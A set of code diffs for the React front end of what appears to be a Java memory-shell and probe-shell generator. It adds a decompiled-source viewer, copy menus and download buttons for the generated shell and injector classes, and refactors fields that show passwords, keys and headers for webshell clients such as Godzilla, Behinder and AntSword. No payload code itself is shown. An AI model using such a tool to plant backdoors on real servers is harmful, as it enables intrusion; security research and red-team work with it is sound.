@@ -10,6 +10,12 @@ import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/materia
|
||||
import { toast } from "sonner";
|
||||
|
||||
import { Button, type buttonVariants } from "@/components/ui/button";
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuTrigger,
|
||||
} from "@/components/ui/dropdown-menu";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
SyntaxHighlighter.registerLanguage("java", java);
|
||||
@@ -18,8 +24,16 @@ interface CopyButtonProps extends React.ComponentProps<"button"> {
|
||||
src?: string;
|
||||
}
|
||||
|
||||
export interface CopyOption {
|
||||
label: string;
|
||||
value: string;
|
||||
disabled?: boolean;
|
||||
}
|
||||
|
||||
export function CopyButton({
|
||||
value,
|
||||
className,
|
||||
...buttonProps
|
||||
}: Readonly<CopyButtonProps & VariantProps<typeof buttonVariants>>) {
|
||||
const [hasCopied, setHasCopied] = useState(false);
|
||||
const { t } = useTranslation(["common"]);
|
||||
@@ -43,11 +57,12 @@ export function CopyButton({
|
||||
return (
|
||||
<CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
|
||||
<Button
|
||||
{...buttonProps}
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
type="button"
|
||||
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
|
||||
disabled={hasCopied}
|
||||
className={cn("h-7 w-7 [&_svg]:h-4 [&_svg]:w-4", className)}
|
||||
disabled={hasCopied || buttonProps.disabled}
|
||||
>
|
||||
{hasCopied ? <Check /> : <Copy />}
|
||||
</Button>
|
||||
@@ -55,6 +70,62 @@ export function CopyButton({
|
||||
);
|
||||
}
|
||||
|
||||
export function CopyMenuButton({
|
||||
options,
|
||||
className,
|
||||
...buttonProps
|
||||
}: Readonly<
|
||||
{ options: CopyOption[] } & React.ComponentProps<"button"> & VariantProps<typeof buttonVariants>
|
||||
>) {
|
||||
const [hasCopied, setHasCopied] = useState(false);
|
||||
const { t } = useTranslation(["common"]);
|
||||
|
||||
useEffect(() => {
|
||||
if (hasCopied) {
|
||||
const timer = setTimeout(() => {
|
||||
setHasCopied(false);
|
||||
}, 1000);
|
||||
return () => clearTimeout(timer);
|
||||
}
|
||||
}, [hasCopied]);
|
||||
|
||||
const handleCopy = useCallback(() => {
|
||||
if (!hasCopied) {
|
||||
setHasCopied(true);
|
||||
toast.success(t("copySuccess"), { duration: 1000 });
|
||||
}
|
||||
}, [hasCopied, t]);
|
||||
|
||||
return (
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger
|
||||
render={
|
||||
<Button
|
||||
{...buttonProps}
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
type="button"
|
||||
className={cn("h-7 w-7 [&_svg]:h-4 [&_svg]:w-4", className)}
|
||||
/>
|
||||
}
|
||||
>
|
||||
{hasCopied ? <Check /> : <Copy />}
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
{options.map((option) => (
|
||||
<CopyToClipboard.CopyToClipboard
|
||||
key={option.label}
|
||||
text={option.value}
|
||||
onCopy={handleCopy}
|
||||
>
|
||||
<DropdownMenuItem disabled={option.disabled}>{option.label}</DropdownMenuItem>
|
||||
</CopyToClipboard.CopyToClipboard>
|
||||
))}
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
);
|
||||
}
|
||||
|
||||
export default function CodeViewer({
|
||||
code,
|
||||
header,
|
||||
@@ -63,6 +134,9 @@ export default function CodeViewer({
|
||||
height,
|
||||
showLineNumbers = true,
|
||||
wrapLongLines = true,
|
||||
copyLabel,
|
||||
copyDisabled = false,
|
||||
copyOptions,
|
||||
}: Readonly<CodeViewerProps>) {
|
||||
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
|
||||
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
||||
@@ -75,7 +149,24 @@ export default function CodeViewer({
|
||||
{header}
|
||||
<div className="flex items-center gap-2">
|
||||
{button}
|
||||
<CopyButton value={code} variant="ghost" size="sm" />
|
||||
{copyOptions ? (
|
||||
<CopyMenuButton
|
||||
options={copyOptions}
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
aria-label={copyLabel}
|
||||
title={copyLabel}
|
||||
/>
|
||||
) : (
|
||||
<CopyButton
|
||||
value={code}
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
aria-label={copyLabel}
|
||||
title={copyLabel}
|
||||
disabled={copyDisabled}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<div className="wrap-all relative overflow-hidden text-xs">
|
||||
@@ -110,4 +201,7 @@ interface CodeViewerProps {
|
||||
showLineNumbers?: boolean;
|
||||
wrapLongLines?: boolean;
|
||||
lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>;
|
||||
copyLabel?: string;
|
||||
copyDisabled?: boolean;
|
||||
copyOptions?: CopyOption[];
|
||||
}
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
import type { TokenLine } from "@/lib/decompile/decompile.worker";
|
||||
|
||||
import { memo, type ReactNode } from "react";
|
||||
|
||||
import { CopyMenuButton, type CopyOption } from "@/components/code-viewer";
|
||||
|
||||
/** material-dark palette (react-syntax-highlighter prism theme) */
|
||||
const TOKEN_COLORS: Record<string, string> = {
|
||||
atrule: "#c792ea",
|
||||
boolean: "#c792ea",
|
||||
builtin: "#ffcb6b",
|
||||
char: "#80cbc4",
|
||||
"class-name": "#f2ff00",
|
||||
comment: "#616161",
|
||||
constant: "#c792ea",
|
||||
function: "#c792ea",
|
||||
keyword: "#c792ea",
|
||||
number: "#fd9170",
|
||||
operator: "#89ddff",
|
||||
property: "#80cbc4",
|
||||
punctuation: "#89ddff",
|
||||
regex: "#f2ff00",
|
||||
string: "#a5e844",
|
||||
variable: "#ff6666",
|
||||
};
|
||||
|
||||
const BACKGROUND = "#2f2f2f";
|
||||
const PLAIN = "#eee";
|
||||
const GUTTER_COLOR = "#616161";
|
||||
const FONT_FAMILY = "Roboto Mono, monospace";
|
||||
|
||||
interface DecompiledCodeViewerProps {
|
||||
lines: TokenLine[] | null;
|
||||
placeholder: string;
|
||||
header?: ReactNode;
|
||||
button?: ReactNode;
|
||||
height: number;
|
||||
copyLabel: string;
|
||||
copyOptions: CopyOption[];
|
||||
}
|
||||
|
||||
export default memo(function DecompiledCodeViewer({
|
||||
lines,
|
||||
placeholder,
|
||||
header,
|
||||
button,
|
||||
height,
|
||||
copyLabel,
|
||||
copyOptions,
|
||||
}: Readonly<DecompiledCodeViewerProps>) {
|
||||
return (
|
||||
<div className="rounded-lg border">
|
||||
<div
|
||||
className={
|
||||
header
|
||||
? "flex items-center justify-between border-b p-2"
|
||||
: "flex items-center justify-end border-b p-2"
|
||||
}
|
||||
>
|
||||
{header}
|
||||
<div className="flex items-center gap-2">
|
||||
{button}
|
||||
<CopyMenuButton
|
||||
options={copyOptions}
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
aria-label={copyLabel}
|
||||
title={copyLabel}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
className="overflow-auto text-xs"
|
||||
style={{
|
||||
height,
|
||||
background: BACKGROUND,
|
||||
color: PLAIN,
|
||||
borderRadius: "0 0 var(--radius) var(--radius)",
|
||||
}}
|
||||
>
|
||||
{lines ? (
|
||||
<div
|
||||
className="flex"
|
||||
style={{ fontFamily: FONT_FAMILY, lineHeight: "1.5em", tabSize: 4 }}
|
||||
>
|
||||
<div
|
||||
aria-hidden
|
||||
className="sticky left-0 shrink-0 pr-4 pl-4 text-right select-none"
|
||||
style={{ background: BACKGROUND, color: GUTTER_COLOR }}
|
||||
>
|
||||
{lines.map((_, index) => (
|
||||
<div key={index}>{index + 1}</div>
|
||||
))}
|
||||
</div>
|
||||
<pre className="m-0 flex-1 pr-4" style={{ fontFamily: "inherit", tabSize: 4 }}>
|
||||
{lines.map((line, index) => (
|
||||
<div key={index} style={{ whiteSpace: "pre" }}>
|
||||
{line.map(([type, text], segmentIndex) =>
|
||||
type === "plain" ? (
|
||||
text
|
||||
) : (
|
||||
<span key={segmentIndex} style={{ color: TOKEN_COLORS[type] ?? PLAIN }}>
|
||||
{text}
|
||||
</span>
|
||||
),
|
||||
)}
|
||||
{line.length === 0 ? " " : null}
|
||||
</div>
|
||||
))}
|
||||
</pre>
|
||||
</div>
|
||||
) : (
|
||||
<pre
|
||||
className="m-0 p-4"
|
||||
style={{ fontFamily: FONT_FAMILY, lineHeight: "1.5em", whiteSpace: "pre-wrap" }}
|
||||
>
|
||||
{placeholder}
|
||||
</pre>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
@@ -23,6 +23,7 @@ import { FeedbackAlert } from "./feedback-alert";
|
||||
export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) {
|
||||
const { t } = useTranslation(["memshell", "common"]);
|
||||
const isDubbo = generateResult?.shellConfig.server === "Dubbo";
|
||||
const shellToolConfig = generateResult?.shellToolConfig;
|
||||
return (
|
||||
<Card>
|
||||
<CardHeader>
|
||||
@@ -65,13 +66,13 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.behinder.pass")}
|
||||
text={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
|
||||
value={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
|
||||
text={(shellToolConfig as BehinderShellToolConfig).pass}
|
||||
value={(shellToolConfig as BehinderShellToolConfig).pass}
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.behinder.header")}
|
||||
text={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
|
||||
text={`${(shellToolConfig as BehinderShellToolConfig).headerName}: ${(shellToolConfig as BehinderShellToolConfig).headerValue}`}
|
||||
value={`${(shellToolConfig as BehinderShellToolConfig).headerName}: ${(shellToolConfig as BehinderShellToolConfig).headerValue}`}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
@@ -79,26 +80,28 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
|
||||
<>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.godzilla.pass")}
|
||||
text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
|
||||
value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
|
||||
text={(shellToolConfig as GodzillaShellToolConfig).pass}
|
||||
value={(shellToolConfig as GodzillaShellToolConfig).pass}
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.godzilla.key")}
|
||||
text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
|
||||
value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
|
||||
text={(shellToolConfig as GodzillaShellToolConfig).key}
|
||||
value={(shellToolConfig as GodzillaShellToolConfig).key}
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.godzilla.encryptor")}
|
||||
text={
|
||||
generateResult?.shellConfig.shellType.includes("WebSocket")
|
||||
? "JAVA_WEBSOCKET_AES_RAW"
|
||||
: generateResult?.shellConfig.shellType.includes("Dubbo") ? "DUBBO_XOR_BASE64" : "JAVA_AES_BASE64"
|
||||
: generateResult?.shellConfig.shellType.includes("Dubbo")
|
||||
? "DUBBO_XOR_BASE64"
|
||||
: "JAVA_AES_BASE64"
|
||||
}
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.godzilla.header")}
|
||||
text={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
|
||||
text={`${(shellToolConfig as GodzillaShellToolConfig).headerName}: ${(shellToolConfig as GodzillaShellToolConfig).headerValue}`}
|
||||
value={`${(shellToolConfig as GodzillaShellToolConfig).headerName}: ${(shellToolConfig as GodzillaShellToolConfig).headerValue}`}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
@@ -107,8 +110,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
|
||||
<CopyableField
|
||||
hidden={generateResult?.shellConfig.shellType.includes("WebSocket")}
|
||||
label={t("common:paramName")}
|
||||
text={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
|
||||
value={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
|
||||
text={(shellToolConfig as CommandShellToolConfig).paramName}
|
||||
value={(shellToolConfig as CommandShellToolConfig).paramName}
|
||||
/>
|
||||
<CopyableField
|
||||
hidden={
|
||||
@@ -118,8 +121,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
|
||||
)
|
||||
}
|
||||
label={t("shellToolConfig.httpHeader")}
|
||||
text={`${(generateResult?.shellToolConfig as CommandShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as CommandShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as CommandShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as CommandShellToolConfig).headerValue}`}
|
||||
text={`${(shellToolConfig as CommandShellToolConfig).headerName}: ${(shellToolConfig as CommandShellToolConfig).headerValue}`}
|
||||
value={`${(shellToolConfig as CommandShellToolConfig).headerName}: ${(shellToolConfig as CommandShellToolConfig).headerValue}`}
|
||||
/>
|
||||
</Fragment>
|
||||
)}
|
||||
@@ -127,28 +130,28 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
|
||||
generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && (
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.suo5Header")}
|
||||
text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
|
||||
text={`${(shellToolConfig as Suo5ShellToolConfig).headerName}: ${(shellToolConfig as Suo5ShellToolConfig).headerValue}`}
|
||||
value={`${(shellToolConfig as Suo5ShellToolConfig).headerName}: ${(shellToolConfig as Suo5ShellToolConfig).headerValue}`}
|
||||
/>
|
||||
)}
|
||||
{generateResult?.shellConfig.shellTool === ShellToolType.Proxy && (
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.httpHeader")}
|
||||
text={`${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as ProxyShellToolConfig).headerValue}`}
|
||||
text={`${(shellToolConfig as ProxyShellToolConfig).headerName}: ${(shellToolConfig as ProxyShellToolConfig).headerValue}`}
|
||||
value={`${(shellToolConfig as ProxyShellToolConfig).headerName}: ${(shellToolConfig as ProxyShellToolConfig).headerValue}`}
|
||||
/>
|
||||
)}
|
||||
{generateResult?.shellConfig.shellTool === ShellToolType.AntSword && (
|
||||
<>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.antSword.pass")}
|
||||
text={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
|
||||
value={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
|
||||
text={(shellToolConfig as AntSwordShellToolConfig).pass}
|
||||
value={(shellToolConfig as AntSwordShellToolConfig).pass}
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.httpHeader")}
|
||||
text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
|
||||
text={`${(shellToolConfig as AntSwordShellToolConfig).headerName}: ${(shellToolConfig as AntSwordShellToolConfig).headerValue}`}
|
||||
value={`${(shellToolConfig as AntSwordShellToolConfig).headerName}: ${(shellToolConfig as AntSwordShellToolConfig).headerValue}`}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
@@ -157,8 +160,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
|
||||
<CopyableField label={t("shellToolConfig.neoreGeorgKey")} text="key" value="key" />
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.neoreGeorgHeader")}
|
||||
text={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
|
||||
text={`${(shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
|
||||
value={`${(shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
|
||||
@@ -4,12 +4,13 @@ import { DownloadIcon } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { toast } from "sonner";
|
||||
|
||||
import DecompiledCodeViewer from "@/components/decompiled-code-viewer";
|
||||
import { QuickUsage } from "@/components/memshell/quick-usage";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||
import { useDecompiledSources } from "@/lib/decompile/use-decompiled-sources";
|
||||
import { downloadBytes } from "@/lib/utils";
|
||||
|
||||
import CodeViewer from "../code-viewer";
|
||||
import { BasicInfo } from "./results/basic-info";
|
||||
import { ResultComponent } from "./results/result-component";
|
||||
|
||||
@@ -23,10 +24,24 @@ export default function ShellResult({
|
||||
generateResult?: MemShellResult;
|
||||
}>) {
|
||||
const { t } = useTranslation(["common", "memshell"]);
|
||||
const { sources, isDecompiling, error } = useDecompiledSources(generateResult);
|
||||
|
||||
if (!generateResult) {
|
||||
return <QuickUsage />;
|
||||
}
|
||||
|
||||
const shellClassName = generateResult.shellClassName;
|
||||
const shellBytesBase64 = generateResult.shellBytesBase64Str;
|
||||
const injectorClassName = generateResult.injectorClassName;
|
||||
const injectorBytesBase64 = generateResult.injectorBytesBase64Str;
|
||||
|
||||
const height = 800;
|
||||
const sourcePlaceholder = isDecompiling
|
||||
? `// ${t("common:decompiling")}`
|
||||
: error
|
||||
? `// ${t("common:decompileFailed", { error })}`
|
||||
: "";
|
||||
|
||||
return (
|
||||
<Tabs defaultValue="packResult">
|
||||
<TabsList className="grid w-full grid-cols-3">
|
||||
@@ -42,61 +57,84 @@ export default function ShellResult({
|
||||
generateResult={generateResult}
|
||||
/>
|
||||
</TabsContent>
|
||||
<TabsContent value="shell" className="mt-4">
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
header={<div className="truncate text-xs">{generateResult?.shellClassName}</div>}
|
||||
<TabsContent value="shell" className="mt-4" keepMounted>
|
||||
<DecompiledCodeViewer
|
||||
copyLabel={t("common:copy")}
|
||||
copyOptions={[
|
||||
{
|
||||
label: t("memshell:copySource"),
|
||||
value: sources.shell?.source ?? "",
|
||||
disabled: !sources.shell,
|
||||
},
|
||||
{
|
||||
label: t("memshell:copyBase64"),
|
||||
value: shellBytesBase64 ?? "",
|
||||
disabled: !shellBytesBase64,
|
||||
},
|
||||
]}
|
||||
header={<div className="truncate text-xs">{shellClassName}</div>}
|
||||
button={
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
type="button"
|
||||
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
|
||||
aria-label={t("common:download")}
|
||||
title={t("common:download")}
|
||||
onClick={() => {
|
||||
if (!generateResult?.shellBytesBase64Str) {
|
||||
if (!shellBytesBase64) {
|
||||
toast.warning(t("memshell:tips.shellBytesEmpty"));
|
||||
return;
|
||||
}
|
||||
downloadBytes(generateResult?.shellBytesBase64Str, generateResult?.shellClassName);
|
||||
downloadBytes(shellBytesBase64, shellClassName);
|
||||
}}
|
||||
>
|
||||
<DownloadIcon className="h-4 w-4" />
|
||||
</Button>
|
||||
}
|
||||
wrapLongLines={true}
|
||||
height={height}
|
||||
code={generateResult?.shellBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
lines={sources.shell?.lines ?? null}
|
||||
placeholder={sourcePlaceholder}
|
||||
/>
|
||||
</TabsContent>
|
||||
<TabsContent value="injector" className="mt-4">
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
wrapLongLines={true}
|
||||
header={<div className="text-xs">{generateResult?.injectorClassName}</div>}
|
||||
<TabsContent value="injector" className="mt-4" keepMounted>
|
||||
<DecompiledCodeViewer
|
||||
copyLabel={t("common:copy")}
|
||||
copyOptions={[
|
||||
{
|
||||
label: t("memshell:copySource"),
|
||||
value: sources.injector?.source ?? "",
|
||||
disabled: !sources.injector,
|
||||
},
|
||||
{
|
||||
label: t("memshell:copyBase64"),
|
||||
value: injectorBytesBase64 ?? "",
|
||||
disabled: !injectorBytesBase64,
|
||||
},
|
||||
]}
|
||||
header={<div className="truncate text-xs">{injectorClassName}</div>}
|
||||
button={
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
type="button"
|
||||
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
|
||||
aria-label={t("common:download")}
|
||||
title={t("common:download")}
|
||||
onClick={() => {
|
||||
if (!generateResult?.injectorBytesBase64Str) {
|
||||
if (!injectorBytesBase64) {
|
||||
toast.warning(t("memshell:tips.shellBytesEmpty"));
|
||||
return;
|
||||
}
|
||||
downloadBytes(
|
||||
generateResult?.injectorBytesBase64Str,
|
||||
generateResult?.injectorClassName,
|
||||
);
|
||||
downloadBytes(injectorBytesBase64, injectorClassName);
|
||||
}}
|
||||
>
|
||||
<DownloadIcon className="h-4 w-4" />
|
||||
</Button>
|
||||
}
|
||||
height={height}
|
||||
code={generateResult?.injectorBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
lines={sources.injector?.lines ?? null}
|
||||
placeholder={sourcePlaceholder}
|
||||
/>
|
||||
</TabsContent>
|
||||
</Tabs>
|
||||
|
||||
@@ -12,6 +12,7 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeS
|
||||
const isBodyContent = generateResult?.probeConfig.probeMethod === "ResponseBody";
|
||||
const isFilterContent = generateResult?.probeConfig.probeContent === "Filter";
|
||||
const isBodyCommand = isBodyContent && generateResult?.probeConfig.probeContent === "Command";
|
||||
const probeContentConfig = generateResult?.probeContentConfig as ResponseBodyConfig | undefined;
|
||||
return (
|
||||
<Card>
|
||||
<CardHeader>
|
||||
@@ -28,16 +29,15 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeS
|
||||
{!isFilterContent && isBodyContent && (
|
||||
<CopyableField
|
||||
label={t("common:paramName")}
|
||||
value={(generateResult?.probeContentConfig as ResponseBodyConfig).reqParamName}
|
||||
text={(generateResult?.probeContentConfig as ResponseBodyConfig).reqParamName}
|
||||
value={probeContentConfig?.reqParamName}
|
||||
text={probeContentConfig?.reqParamName}
|
||||
/>
|
||||
)}
|
||||
{isBodyCommand &&
|
||||
(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate && (
|
||||
{isBodyCommand && probeContentConfig?.commandTemplate && (
|
||||
<CopyableField
|
||||
label={t("common:commandTemplate")}
|
||||
value={(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate}
|
||||
text={(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate}
|
||||
value={probeContentConfig.commandTemplate}
|
||||
text={probeContentConfig.commandTemplate}
|
||||
/>
|
||||
)}
|
||||
<CopyableField
|
||||
|
||||
@@ -1,9 +1,15 @@
|
||||
import type { ProbeShellResult } from "@/types/probeshell";
|
||||
|
||||
import { DownloadIcon } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { toast } from "sonner";
|
||||
|
||||
import DecompiledCodeViewer from "@/components/decompiled-code-viewer";
|
||||
import { QuickUsage } from "@/components/probeshell/quick-usage";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||
import { useDecompiledSources } from "@/lib/decompile/use-decompiled-sources";
|
||||
import { downloadBytes } from "@/lib/utils";
|
||||
|
||||
import CodeViewer from "../code-viewer";
|
||||
import { BasicInfo } from "./basic-info";
|
||||
@@ -17,16 +23,29 @@ export default function ShellResult({
|
||||
packMethod: string;
|
||||
generateResult?: ProbeShellResult;
|
||||
}>) {
|
||||
const { t } = useTranslation();
|
||||
const { t } = useTranslation(["common", "probeshell"]);
|
||||
const { sources, isDecompiling, error } = useDecompiledSources(generateResult);
|
||||
|
||||
if (!generateResult) {
|
||||
return <QuickUsage />;
|
||||
}
|
||||
|
||||
const showCode = packMethod === "JSP";
|
||||
const height = 600;
|
||||
const decompiledSourceHeight = 800;
|
||||
const shellClassName = generateResult.shellClassName;
|
||||
const shellBytesBase64 = generateResult.shellBytesBase64Str;
|
||||
const sourcePlaceholder = isDecompiling
|
||||
? `// ${t("common:decompiling")}`
|
||||
: error
|
||||
? `// ${t("common:decompileFailed", { error })}`
|
||||
: "";
|
||||
|
||||
return (
|
||||
<Tabs defaultValue="packResult">
|
||||
<TabsList className="grid w-full grid-cols-1">
|
||||
<TabsList className="grid w-full grid-cols-2">
|
||||
<TabsTrigger value="packResult">{t("common:generateResult")}</TabsTrigger>
|
||||
<TabsTrigger value="shell">{t("probeshell:shellClass")}</TabsTrigger>
|
||||
</TabsList>
|
||||
<TabsContent value="packResult" className="space-y-2">
|
||||
<BasicInfo generateResult={generateResult} />
|
||||
@@ -48,6 +67,46 @@ export default function ShellResult({
|
||||
/>
|
||||
)}
|
||||
</TabsContent>
|
||||
<TabsContent value="shell" className="mt-4" keepMounted>
|
||||
<DecompiledCodeViewer
|
||||
copyLabel={t("common:copy")}
|
||||
copyOptions={[
|
||||
{
|
||||
label: t("probeshell:copySource"),
|
||||
value: sources.shell?.source ?? "",
|
||||
disabled: !sources.shell,
|
||||
},
|
||||
{
|
||||
label: t("probeshell:copyBase64"),
|
||||
value: shellBytesBase64 ?? "",
|
||||
disabled: !shellBytesBase64,
|
||||
},
|
||||
]}
|
||||
header={<div className="truncate text-xs">{shellClassName}</div>}
|
||||
button={
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
type="button"
|
||||
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
|
||||
aria-label={t("common:download")}
|
||||
title={t("common:download")}
|
||||
onClick={() => {
|
||||
if (!shellBytesBase64) {
|
||||
toast.warning(t("probeshell:tips.shellBytesEmpty"));
|
||||
return;
|
||||
}
|
||||
downloadBytes(shellBytesBase64, shellClassName);
|
||||
}}
|
||||
>
|
||||
<DownloadIcon className="h-4 w-4" />
|
||||
</Button>
|
||||
}
|
||||
height={decompiledSourceHeight}
|
||||
lines={sources.shell?.lines ?? null}
|
||||
placeholder={sourcePlaceholder}
|
||||
/>
|
||||
</TabsContent>
|
||||
</Tabs>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { create } from "@orama/orama";
|
||||
import { useDocsSearch } from "fumadocs-core/search/client";
|
||||
import { staticClient } from "fumadocs-core/search/client/orama-static";
|
||||
import {
|
||||
SearchDialog,
|
||||
SearchDialogClose,
|
||||
@@ -13,19 +13,12 @@ import {
|
||||
} from "fumadocs-ui/components/dialog/search";
|
||||
import { useI18n } from "fumadocs-ui/contexts/i18n";
|
||||
|
||||
function initOrama() {
|
||||
return create({
|
||||
schema: { _: "string" },
|
||||
language: "english",
|
||||
});
|
||||
}
|
||||
|
||||
export default function DefaultSearchDialog(props: SharedProps) {
|
||||
const { locale } = useI18n();
|
||||
const { search, setSearch, query } = useDocsSearch({
|
||||
type: "static",
|
||||
initOrama,
|
||||
client: staticClient({
|
||||
locale,
|
||||
}),
|
||||
});
|
||||
|
||||
return (
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
import { Menu as MenuPrimitive } from "@base-ui/react/menu";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
const DropdownMenu = MenuPrimitive.Root;
|
||||
|
||||
const DropdownMenuTrigger = MenuPrimitive.Trigger;
|
||||
|
||||
function DropdownMenuContent({
|
||||
className,
|
||||
side = "bottom",
|
||||
sideOffset = 4,
|
||||
align = "center",
|
||||
alignOffset = 0,
|
||||
...props
|
||||
}: MenuPrimitive.Popup.Props &
|
||||
Pick<MenuPrimitive.Positioner.Props, "align" | "alignOffset" | "side" | "sideOffset">) {
|
||||
return (
|
||||
<MenuPrimitive.Portal>
|
||||
<MenuPrimitive.Positioner
|
||||
side={side}
|
||||
sideOffset={sideOffset}
|
||||
align={align}
|
||||
alignOffset={alignOffset}
|
||||
className="isolate z-50"
|
||||
>
|
||||
<MenuPrimitive.Popup
|
||||
data-slot="dropdown-menu-content"
|
||||
className={cn(
|
||||
